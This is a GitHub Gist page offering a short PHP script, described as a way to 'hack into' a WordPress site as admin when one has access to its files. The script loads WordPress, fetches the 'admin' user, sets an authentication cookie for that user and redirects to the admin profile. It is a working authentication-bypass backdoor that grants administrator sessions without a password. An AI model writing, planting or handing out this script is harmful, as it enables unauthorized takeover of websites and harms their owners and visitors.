-
-
Save alexlevy0/3868f16a48efaa373b0163d1048154ad to your computer and use it in GitHub Desktop.
Hack into a wordpress with the admin profile when you have physical acces to the wordpress files.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
require('wp-blog-header.php'); | |
$user_login = 'admin'; | |
$user = get_userdatabylogin($user_login); | |
$user_id = $user->ID; | |
wp_set_current_user($user_id, $user_login); | |
wp_set_auth_cookie($user_id); | |
do_action('wp_login', $user_login); | |
wp_safe_redirect( admin_url( 'profile.php' ) ); | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment